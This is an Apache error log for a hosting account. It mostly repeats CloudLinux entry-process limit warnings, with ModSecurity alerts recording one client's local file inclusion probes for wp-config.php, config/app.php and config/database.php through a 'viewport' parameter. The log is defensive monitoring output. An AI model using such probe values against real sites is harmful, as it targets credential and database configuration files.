[Fri Jul 17 08:55:49.915524 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.944856 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.953532 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.967255 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.975175 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.983378 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.991227 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:49.993856 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.026621 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.038676 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.057083 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.069734 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.070558 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.071056 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.082210 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:viewport. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:viewport: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvkgVnBK6wAv37w6sdwAAABQ"]
[Fri Jul 17 08:55:50.082820 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvkgVnBK6wAv37w6sdwAAABQ"]
[Fri Jul 17 08:55:50.082964 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.083270 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvkgVnBK6wAv37w6sdwAAABQ"]
[Fri Jul 17 08:55:50.117824 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:viewport. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:viewport: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvvwooI4qY7Jg93pVlwAAABM"]
[Fri Jul 17 08:55:50.118461 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvvwooI4qY7Jg93pVlwAAABM"]
[Fri Jul 17 08:55:50.118585 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.118883 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvvwooI4qY7Jg93pVlwAAABM"]
[Fri Jul 17 08:55:50.138344 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:viewport. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:viewport: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgviRF0UOO1RzB5_8uMgAAAA4"]
[Fri Jul 17 08:55:50.138972 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgviRF0UOO1RzB5_8uMgAAAA4"]
[Fri Jul 17 08:55:50.139120 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.139405 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgviRF0UOO1RzB5_8uMgAAAA4"]
[Fri Jul 17 08:55:50.141298 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:viewport. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:viewport: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvlh1WDijTxd1xw5MjQAAAAc"]
[Fri Jul 17 08:55:50.141913 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvlh1WDijTxd1xw5MjQAAAAc"]
[Fri Jul 17 08:55:50.142015 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.142308 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvlh1WDijTxd1xw5MjQAAAAc"]
[Fri Jul 17 08:55:50.154536 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:viewport. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:viewport: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvvwooI4qY7Jg93pVmAAAABM"]
[Fri Jul 17 08:55:50.155231 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvvwooI4qY7Jg93pVmAAAABM"]
[Fri Jul 17 08:55:50.155355 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.155651 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvvwooI4qY7Jg93pVmAAAABM"]
[Fri Jul 17 08:55:50.157012 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:viewport. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:viewport: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvkgVnBK6wAv37w6seAAAABQ"]
[Fri Jul 17 08:55:50.157605 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvkgVnBK6wAv37w6seAAAABQ"]
[Fri Jul 17 08:55:50.157706 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.157940 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvkgVnBK6wAv37w6seAAAABQ"]
[Fri Jul 17 08:55:50.160570 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.163199 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.200180 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.232494 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.238145 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.242564 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.252144 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.256877 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.260406 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.266164 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.273461 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.301108 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.310203 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
